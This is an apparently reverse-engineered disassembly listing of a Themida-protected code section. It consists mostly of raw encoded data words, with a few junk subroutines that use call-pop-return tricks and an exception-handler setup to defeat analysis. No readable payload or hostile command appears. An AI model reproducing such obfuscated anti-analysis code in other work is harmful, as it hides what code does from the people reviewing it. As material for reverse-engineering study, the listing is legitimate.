		dd 4F6DF5C3h, 66BE944Bh, 2E8BCF81h, 0B5FFDA8Bh,	616C454h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9DC35646h
		dd 43E2C83Bh, 2FB799EAh, 75BD8B01h, 0FF061330h,	131E9595h
		dd 0DF8B6606h, 50E8B396h, 0FE8h, 8BDA0700h, 0B7743699h
		dd 43E44F20h, 1DBBF144h, 0B5FF965Bh, 616C454h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BDC35040h, 3A4DA24Bh
		dd 0BD0B11C7h, 613285Dh, 8E9h, 7A226F00h, 47620DBDh, 4595FF5Bh
		dd 8A061321h, 95BD83DEh, 61314h, 55840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 5BCE70C3h, 500E335Fh, 4A28BF66h, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 742BC356h, 0B9BD89EAh, 5306130Ah, 25AD9529h,	0FF5B0613h
		dd 16C454B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 95FFB730h, 61305ADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FCC35141h, 0A92AB12Ch
		dd 995E555Dh, 0E3816683h, 0B5FF5DC4h, 616C454h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 13C35242h, 188A0F7Eh
		dd 0E9000000h, 13h, 0ED479472h,	1345414Ah, 0D9F6EE80h
		dd 989D42CCh, 0FF228DF2h, 13120995h, 0F78B6006h, 61D7B70Fh
		dd 511BD83h, 0F020613h,	5284h, 8E800h, 0C3020000h, 363D97BBh
		dd 0F5F7CB0h, 88Bh, 85895300h, 6131469h, 55858B5Fh, 8B06130Fh
		dd 0CAE381D9h, 0C64B1E0Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C5D667C3h
		dd 0C448B614h, 0C78DDF80h, 131E5185h, 6, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 906F9157h, 0B2FEDA40h, 0E9F88B5Bh, 0FFFFF2BDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 62C35747h, 8B0EC780h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0EA599EBCh, 15B3C6B7h, 0A9858D2Bh, 0F06131Eh
		dd 681h, 75858900h, 90061310h, 0D73BBF66h, 12E85750h, 46000000h
		dd 6506B7AAh, 72B1646Fh, 7EFBF5BDh, 0CE23313h, 5BDF8B68h
		dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 57A119C3h, 0DE9006Ah, 0F5000000h,	0CF417438h
		dd 0DD09F82Dh, 132FB9C6h, 6ADE8Bh, 1E158529h, 0F3810613h
		dd 83C297h, 8186858Dh, 6A0617h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0FD33E4C3h, 31161465h
		dd 130B75B5h, 5C08306h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4EC35545h, 3151BD0Bh,	50900613h, 14E9h
		dd 3C56CD00h, 0A3043669h, 0CB1988C9h, 19787F3Fh, 6E8FBB1Bh
		dd 8B669055h, 0F006ADFh, 188h, 6AF800h,	7352F381h, 95FF288Eh
		dd 61307F1h, 18880Fh, 13E90000h, 0FD000000h, 501B60F2h
		dd 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 8D8DF911h,	616A36Ah
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 88C35141h
		dd 0E6D6D686h, 0E0E596FFh, 6AD1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 71BDD6C3h
		dd 0D98B6660h, 173DBD83h, 0F010613h, 4785h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0F5ED6889h, 0B3C5FFABh, 0BD2B98C2h, 6132C75h, 8956026Ah
		dd 131231B5h, 50905B06h, 21958990h, 0FF06130Dh,	131E9595h
		dd 0B5EB8006h, 0DE7E9h,	0E800h,	815D0000h, 178190EDh, 8166F906h
		dd 8DCD57C7h, 168F5E85h, 0FE906h, 960F0000h, 0DF4726F5h
		dd 0D107B5Dh, 3CDD0F97h, 0FE8B90DEh, 90FC8A50h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 49C35747h, 0B6B60AB8h
		dd 0DE8B0ACAh, 35FF64h,	60000000h, 79BFDA8Bh, 6156F109h
		dd 258964h, 66000000h, 8E9FB8Bh, 89000000h, 0CA067250h
		dd 0FFBD957Ah, 1316D985h, 68D0F06h, 89000000h, 130E5DB5h
		dd 6AFF6A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 5C57C352h, 0FF4D796Ch,	14E9h
		dd 93845C00h, 87D124E7h, 0BA942729h, 12EE6416h,	4B5C0429h
		dd 0B5FFF5C3h, 613302Dh, 0FE8BFA8Bh, 31AD95FFh,	0E6E90613h
		dd 8B000000h, 300B0D9h,	1311C99Dh, 8170E606h, 0ED7F3CBh
		dd 171E450h, 132B91BDh,	0F613C06h, 0C483h, 61B52900h, 0F061316h
		dd 0F52C8B6h, 0BA5FF9B7h, 6, 0AC91BFBBh, 66C18B00h, 0B016E381h
		dd 8904E8C1h, 1317758Dh, 0A5BD8B06h, 6606132Fh,	0BB66E2F7h
		dd 0C82B9B67h, 5E9D18Bh, 0D8000000h, 0D5383C77h, 54EF8153h
		dd 5F1D70EBh, 7E9h, 9D89F900h, 61313F5h, 0BD858Bh, 0BD8B0613h
		dd 61323FDh, 8907C083h,	132CFD8Dh, 0C08306h, 3B1EC380h
		dd 0A830FD0h, 0F000000h, 42E9FBBFh, 8B000000h, 398D8BF9h
		dd 0BF061306h, 59EBFF95h, 0F01E183h, 2C84h, 8E900h, 22380000h
		dd 61E1405Dh, 0A5831266h, 6130639h, 1DB589FEh, 66061332h
		dd 8981C7BBh, 1300BD95h, 35D78006h, 0E9h, 1EB58D00h, 8B06170Ah
		dd 131059BDh, 5F71BF06h, 6A44F5h, 13ADBD8Bh, 95FF0613h
		dd 6130DA9h, 1B4D8529h,	85890613h, 6131D9Dh, 81DB9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0DC943161h, 158F0FA5h, 0E8000000h, 9, 41789750h, 6522F0EBh
		dd 419D0BC3h, 5F06131Dh, 835BF850h, 6AFCE1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0D2E04AC3h
		dd 8E19A5D1h, 0E9F9B70Fh, 8, 948BA73Fh,	0C029F67Eh, 9DBD89FCh
		dd 0E906131Eh, 7, 9BEA95A9h, 2B6AA680h,	0A18501C0h, 2B061329h
		dd 57006AD2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 8589F965h, 61324B1h, 4507BB66h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 1EE8160h, 0F7F588Dh, 8B61C7BFh
		dd 1331A5BDh, 880D06h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 7E912C3h, 0C000000h
		dd 69883918h, 958B00AAh, 6131BBDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4FC35545h
		dd 94F02D77h, 0FF86C4Dh, 68Bh, 0BDB58900h, 8B06132Eh, 1318DD8Dh
		dd 0A4F78006h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0BB665818h, 8D09B462h, 61310D5h, 1D1DBD83h, 0F000613h
		dd 6784h, 0B800h, 85310000h, 6132C7Dh, 4F8D8D8Dh, 6A0613h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0CDC98EC3h, 0E317D880h, 958951F9h, 6131059h,	6AE1FF5Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0A5E4C357h, 31A16BFEh, 21953157h,	5F061309h
		dd 3055BD83h, 0F000613h, 43A84h, 659D8B00h, 83061329h
		dd 133055BDh, 840F0106h, 442h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0DFC35747h,	18DF5CD8h, 9ED49292h
		dd 1A01B589h, 95890613h, 6130B41h, 0BD83DA8Ah, 6133055h
		dd 0CD860F03h, 0E8000003h, 0Ah,	128332ECh, 0D7E63EACh
		dd 8531A227h, 6130F09h,	8BFC605Fh, 0D98C66DFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 88C35141h, 5100AA69h
		dd 2890Fh, 61600000h, 11BD8B5Bh, 80061332h, 6A04E1h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 13DFDDC3h, 264B5182h, 0CDBD8B52h, 5B061308h,	8BFBBF0Fh
		dd 132549BDh, 0FC90A06h, 11584h, 9E800h, 473C0000h, 17A82285h
		dd 0BBC80DF3h, 58764862h, 0B9858B5Fh, 0B06132Bh, 13318D9Dh
		dd 0B9853306h, 0E9061305h, 0Ah,	51FFD74Eh, 635000BEh, 5190039Ch
		dd 8B0F505Bh, 0
		db 90h
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5C4950
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4950	proc near		; CODE XREF: Themida_:005C4948p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5C4950	endp

; ---------------------------------------------------------------------------
		dd 0E050A7CEh, 0DB815158h, 70476B88h, 6A006A5Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A737C352h, 6F4E1DF3h, 959D8BF7h, 68061311h,	6F09D36Fh
		dd 90243481h, 6A6F16D0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 7C21C352h, 71F94985h
		dd 295C8364h, 1329C195h, 0F8CB8106h, 0FF6AB912h, 130A3D95h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0AFC2A847h, 0A5F26093h, 9D8BB1BCh, 6131E79h
		dd 13D9BD09h, 85890613h, 616C454h, 0E5E93FB3h, 0F000001h
		dd 858BFABFh, 616C44Ch,	24859529h, 0C70613h, 18h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0FBC35747h, 0FBB70FD6h
		dd 0B58B6FB7h, 616C450h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 76C35747h, 0F7E062Eh,	858BDAB7h, 6132A55h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0DEC35646h
		dd 0D27E58BAh, 0D374322Fh, 89DF8B66h, 9BD0306h,	8B061324h
		dd 132BB985h, 8955B306h, 6A0446h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 879B3FC3h, 0E91B2003h
		dd 13h,	319D85D8h, 0EA613DF8h, 0A636EBAFh, 55296570h, 509A8C42h
		dd 0B0C59FBBh, 2434895Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 9CC35141h, 0E1FC5C07h, 813BF345h, 9168C2CBh
		dd 4CB5FF7Bh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 89D8C351h, 13154995h
		dd 17096806h, 8B668929h, 240481FBh, 76F5ECF6h, 2565BD8Bh
		dd 0EB810613h, 4616A71Eh, 0C454858Dh, 6A0616h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 19E4DDC3h, 0F381662Fh, 89505868h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0C7859AC3h
		dd 8AD66222h, 0E96099B3h, 11h, 9EAF57CCh, 0D9FD7FAAh, 3F373079h
		dd 91BF3F0Bh, 0F3F68187h, 612C49F5h, 0A3D95FFh,	6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0D84F64C3h, 0FCE06D2Ch, 0DCC38061h, 305585C7h, 30613h
		dd 83FC0000h, 16C454BDh, 840F0006h, 30h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 5BC35242h, 0EC1EF753h
		dd 24E9B9ADh, 0F000000h, 0BD8BD8B7h, 6130EB5h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 38Ch
		dd 0F9B70F00h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0BFC35343h, 9E871h, 38C10000h, 8B4E2160h, 0E983A18Dh
		dd 11h,	90560913h, 10E1CC1h, 7D0312B8h,	0DE4B29E3h, 9D295B45h
		dd 6131291h, 0BB5B589h,	0BD830613h, 6133055h, 0E1850F03h
		dd 0E9000004h, 6, 0A94955C6h, 0BD8374F2h, 616C454h, 0C9840F00h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 5BF5C356h, 0EE9877Ch, 0BB000000h
		dd 0C7D6A9F5h, 86CD1F7Dh, 39321281h, 54B5FF42h,	8B0616C4h
		dd 132C519Dh, 6995FF06h, 0F061309h, 0BE8FABFh, 0BC000000h
		dd 0FB0D2C78h, 41CB3B16h, 95893874h, 61315D5h, 48B58B5Bh
		dd 6A0616C4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0EEE7C357h, 14A14473h,	0E76C0272h
		dd 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 88AB50C3h, 0FE8h, 0AF5AA000h, 8C9D4E5Bh
		dd 0C887FA5Fh, 0DE41550Eh, 8E8h, 431CA400h, 91199EFCh
		dd 965B5B99h, 8F734BBFh, 5060502Eh, 0F525052h, 0F585A31h
		dd 0D68B6631h, 9661585Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0E7C35545h, 697D81ABh, 650D3E75h, 0C454B5FFh
		dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 7F16D7C3h, 77BD5489h, 60F9448Bh, 0BE9h, 462FE600h
		dd 56E3FB4h, 4D44CF62h,	34DF8166h, 95FF61CCh, 6133229h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h
		dd 89D470CFh, 1318F1B5h, 48B58B06h, 6A0616C4h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4ADC350h, 0E702CF90h, 0BD8B98BDh, 61319E5h, 7E8h, 0BE011C00h
		dd 0DF994230h, 160DF9BBh, 858B5F66h, 6130631h, 10E9h, 985B9100h
		dd 0FBFA2B50h, 0C38BD495h, 3C2F452h, 0C486892Dh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 6847C355h, 0D5BCA9EBh, 31558529h,	9D2B0613h
		dd 6131539h, 1BBD958Bh,	10E90613h, 7E000000h, 564EB263h
		dd 52CCC97Fh, 2B24F137h, 83E0F81Eh, 6A04C2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B222F7C3h
		dd 20508957h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0EAC35343h, 0D8E3858Dh,	6A0616h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 247B41C3h
		dd 0F09E9565h, 203D9589h, 86890613h, 0B8h, 30599D8Bh, 6A0613h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BBC35747h
		dd 0C454B5FFh, 6A0616h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 94400AC3h, 7B9B63DDh, 117DBD03h
		dd 95FF0613h, 6131E95h,	35BD8B57h, 5F061305h, 899CB350h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D71A29C3h, 0BB663EEBh, 0B5FF220Eh, 616C454h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9C35545h
		dd 0C1AE4AB8h, 15858912h, 0FF061300h, 13214595h, 21BD8B06h
		dd 83061323h, 131495BDh, 840F0006h, 2Ch, 0F9660B7h, 148Ah
		dd 0DE95100h, 78000000h, 0E49FC798h, 77DFFD3h, 0E2028057h
		dd 0BF66505Fh, 8B967D31h, 131C05BDh, 0D98B6606h, 0C454B5FFh
		dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 589527C3h, 96C05AE3h, 95FF9CB0h, 61305ADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C7C35141h
		dd 0B560CC37h, 8B6632D8h, 54B5FFD9h, 6A0616C4h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0FCFFC355h, 0FF06B73Ah, 13120995h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 8B0FA9CAh, 0Ch, 6880Fh, 9D8B0000h, 6131F09h,	511BD83h
		dd 0F020613h, 6A84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 858B38A9h, 6130F55h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 16C35747h, 0D517BA77h
		dd 0C671h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0B1C35343h, 91B529EBh, 0C706130Eh, 131E5185h, 6
		dd 0DF8B6600h, 0FFF300E9h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 188F95DCh
		dd 8B5EFD22h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 12F53AEBh, 0BD23811Eh, 6131319h
		dd 68D0Fh, 9D290000h, 6131DADh,	1EA9858Dh, 7E90613h, 66000000h
		dd 0D987C1BDh, 6090AB43h, 0DE9C88Bh, 8D000000h,	9596EF10h
		dd 0B6EB2FC1h, 195246F5h, 6A905061h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 769FC356h
		dd 19599D89h, 6A0613h, 0FD8A006Ah, 910C858Dh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 83FC8BC3h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0BBA826C3h, 860F285Ah, 3, 33DEBF0Fh
		dd 1330C19Dh, 8B605006h, 48961F9h, 2D852924h, 6A06132Dh
		dd 68D0F00h, 29000000h,	1320ED95h, 1006A06h, 131AD98Dh
		dd 658D8906h, 0FF06131Fh, 1307F195h, 0F0DF8006h, 0A36A8D8Dh
		dd 85890616h, 613163Dh,	6AD1FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0ADAAB4C3h, 83CB81D7h
		dd 83427837h, 13173DBDh, 850F0106h, 7Eh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ah, 0B9C35646h, 7773EFF3h
		dd 26A64F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	47C35141h, 6690A9E9h, 5072FABFh, 90DF8B66h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9C35040h, 0C0930F4Dh
		dd 0BE2F6E49h, 1E9595FFh, 89520613h, 1329659Dh,	48E95F06h
		dd 0E8000010h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6179116h
		mov	bh, 16h
		mov	ebx, 100A974Dh
		lea	eax, [ebp+6168F5Eh]
		push	0
		push	edx
		call	sub_5C53FF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C53FF	proc near		; CODE XREF: Themida_:005C53F7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C53FF	endp

; ---------------------------------------------------------------------------
		db 0F9h
		dd 0EE2D55Eh, 0BD8B5B56h, 6130F01h, 238C0F50h, 0E8000000h
		dd 7, 26D0F4F8h, 0E8C176F4h, 10h, 33A11D8Ch, 3B765EA8h
		dd 0D27832EBh, 0ACC74F99h, 4895B5Fh, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 68B0F33h, 0F000000h
		dd 85h,	35FF6400h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5C5483
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C5483	proc near		; CODE XREF: Themida_:005C547Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C5483	endp

; ---------------------------------------------------------------------------
		add	al, 0EBh
		cmc
		pop	ecx
		pop	ss
		sbb	di, 546Eh
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_5C54AF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C54AF	proc near		; CODE XREF: Themida_:005C54A7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C54AF	endp

; ---------------------------------------------------------------------------
		db 65h
		dd 99F06836h, 91D3D6DDh, 0BD096033h, 6132FDDh, 0D059D89h
		dd 0FF610613h, 1316D985h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0B04781D5h
		dd 5E8h, 0E63C4500h, 9D8B2575h,	61334BDh, 6AFF6A5Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 1C08C356h, 92BB8A87h, 0FF7EB1D8h, 1331EDB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0A7D01BE0h, 62D28372h, 95FF3626h, 61331ADh, 132E9h
		dd 0D88B6600h, 0E78100B0h, 24361ADCh, 9D8B70E6h, 6130A0Dh
		dd 0EF8171E4h, 23DD1E12h, 830F613Ch, 10Fh, 69B58951h, 5B06130Eh
		dd 0FC8B60Fh, 6BAFABFh,	8B000000h, 1309E5BDh, 8BB6B706h
		dd 13850FC1h, 0E9000000h, 0Eh, 889D72D1h, 870515EDh, 87B1535Dh
		dd 0E8C1EB49h, 9D8B5004h, 6131B11h, 0E2F7665Fh,	0E8DF8B66h
		dd 9, 1A2F4A9Bh, 0CB2D885Dh, 699D2B03h,	5F061331h, 0B531C82Bh
		dd 61322CDh, 0DF80D18Bh, 10E924h, 5E90000h, 39000000h
		dd 19171E70h, 1BF98589h, 858B0613h, 6130019h, 14E9h, 0C96D7700h
		dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh,	7C08388h
		dd 5E856h, 0A5220000h, 0E9D4106Ch, 0Bh,	0EC34C62Eh, 0D8456483h
		dd 5F133D22h, 0C0835Fh,	0FD03BF9h, 1783h, 9606000h, 131AE185h
		dd 0EAB96106h, 61159F3Fh, 32E9h, 0F88B6600h, 2CD58D8Bh
		dd 0E1830613h, 20840F01h, 29000000h, 132C618Dh,	0D5A58306h
		dd 0FE06132Ch, 0D480FC60h, 958961F6h, 6130019h,	0E919B7h
		dd 8D000000h, 1713F4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 70A98751h, 0FC5D82Eh
		dd 58Fh, 0CB5DBB00h, 0D78044D2h, 0E9006AF5h, 0Eh, 63E001A6h
		dd 448180ECh, 1EAE518Fh, 0E3806CC5h, 0A995FFA5h, 6A06130Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2198C350h, 4DF3856h, 0C870FBAh, 0F000000h
		dd 681h, 8D858900h, 89061314h, 13054D8Dh, 7CCB906h, 0BD310000h
		dd 6132851h, 0AE9h, 98E6A900h, 17C968F5h, 83F2F51Ah, 0BD8BFCE1h
		dd 61314A1h, 9E9FCh, 673C0000h,	2D7DDD96h, 2B2A62AEh, 0BAC0h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B70FA7C3h, 6820FFBh, 31000000h, 1306C995h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0E38BB472h, 0BC55CB5Fh, 0DE9C1h, 0CD220000h,	834B9CEBh
		dd 0FF2A3735h, 0E812430Ah, 6, 874D173h,	0CB81F78Bh, 3D0034DEh
		dd 880D5Bh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 1B023BC3h, 0B719370Ah, 11E942h
		dd 0C39F0000h, 36E62F86h, 23BBEFEBh, 0E2DE5E80h, 8B484709h
		dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 1C1C4FE8h, 0F899255Bh, 0EF816655h
		dd 8D8B0498h, 61318DDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 8C35545h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0E84259C3h, 0A27C082Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2FC35646h, 95893DD6h
		dd 6131DB9h, 0EE99D29h,	0BD830613h, 6131D1Dh, 34840F00h
		dd 66000000h, 0B8F98Bh,	0F8000000h, 4F8D8D8Dh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89ED39C3h, 1309BDB5h, 83E1FF06h, 133055BDh, 840F0006h
		dd 53Fh, 9619D31h, 0BD830613h, 6133055h, 47840F01h, 0E9000005h
		dd 7, 45C5C18Bh, 83F9FD5Fh, 133055BDh, 860F0306h, 4F8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h
		dd 0F0E22F82h, 0A7BCD393h, 9B5BD8Bh, 9D890613h,	6131F65h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 248160D8h, 22B2AFFBh, 12A19D8Bh,	8C660613h
		dd 52006AD9h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 3D010D82h, 0BD8B04F0h, 6130ECDh,	8B04E180h
		dd 1312859Dh, 0FC90A06h, 1F084h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0AE9A1h, 0D71B0000h
		dd 53499F02h, 62C745FDh, 2BB9858Bh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 837D63C3h
		dd 481247h, 11E9FAh, 92730000h,	0AC3C6BEBh, 0DE7328C0h
		dd 0A57FA2FDh, 33E231A7h, 1305B985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 669EF94Ch
		dd 501822BFh, 48932B3h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 3522A0D2h, 4F06B1D0h
		dd 6AF98B66h, 68A0F00h,	89000000h, 130ECDBDh, 4E806h, 3FF0000h
		dd 5250001Fh, 0FF98B66h, 15BB6631h, 50585AD1h, 14E8h, 800C9A00h
		dd 0C97D21E1h, 460C40D2h, 0F8B604DBh, 0D83EC648h, 448B5FF5h
		dd 0F500424h, 585h, 4CEABB00h, 8B5B5E66h, 0C993BB00h, 44894F05h
		dd 890F0424h, 2, 8B5806B3h, 3D95FFD8h, 6A06130Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0CC8BC356h, 510994h,	0BD8B6C6Dh, 61324DDh, 0C4548589h
		dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 4A4E7EC3h, 0A087E264h, 10E9h, 389DA200h
